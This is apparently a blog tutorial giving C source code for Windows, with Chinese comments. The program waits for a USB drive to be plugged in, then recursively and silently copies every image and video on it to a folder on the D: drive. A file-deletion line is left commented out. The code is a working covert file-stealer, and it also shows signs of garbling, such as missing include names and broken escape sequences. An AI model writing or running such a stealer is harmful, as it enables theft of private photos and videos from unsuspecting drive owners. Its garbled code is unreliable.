#include#include // *** 作系统的头文件 //查找某一个盘符中我们需要的文件 void FindFile(char filename[]) { //filename: "F:" --> "F:\*.*" char pathstr[300] = { 0 }; sprintf(pathstr, "%s\*.*", filename); //通配符 *.mp3 *mp4 *avi *rmvb *.wma WIN32_FIND_DATA findata; //文件结构 文件的属性 HANDLE hfile = FindFirstFile(pathstr, &findata); char tempstr[300] = { 0 }; while (1) //DWORD { //如果找到的文件是文件夹 if (findata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { if (findata.cFileName[0] != '.') { sprintf(tempstr, "%s\%s", filename, findata.cFileName); FindFile(tempstr); } } else //文件 { if (strstr(findata.cFileName, ".jpg") || strstr(findata.cFileName, ".bmp") || strstr(findata.cFileName, ".png") || strstr(findata.cFileName, ".mp4") || strstr(findata.cFileName, ".avi") || strstr(findata.cFileName, ".rmvb")) { //findata.cFileName 文件名 ---> 全路径 sprintf(tempstr, "%s\%s", filename, findata.cFileName); printf("%sn", tempstr); //创建一个自己的路径 char mypath[300] = { 0 }; CreateDirectory("D:\寒冰断水的U盘", NULL); sprintf(mypath, "D:\寒冰断水的U盘\%s", findata.cFileName); CopyFile(tempstr, mypath, TRUE); //TRUE跳过 FALSE替换 //DeleteFile(tempstr); } } int ret = FindNextFile(hfile, &findata); //查找下一个文件 if (ret == 0) //后面没有了 找到了最后一个 break; } } int main() { //自动检测U盘的拔插 unsigned long allDisk; //定义一个变量 4B 32bit char str[5] = { 0 }; while (1) { allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动 for (int i = 0; i < 10; i++) //假设最多10个盘符 { if ((allDisk & 1) == 1) //最低位的那个盘符是存在 { sprintf(str, "%c:", 'A' + i); //输出到字符串 if (GetDriveType(str) == DRIVE_REMOVABLE) break; } allDisk = allDisk >> 1; } if (GetDriveType(str) == DRIVE_REMOVABLE) break; } //找到了U盘是str FindFile(str); //杀毒全盘扫描 //文件管理器 视频 while (1); return 0; }
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)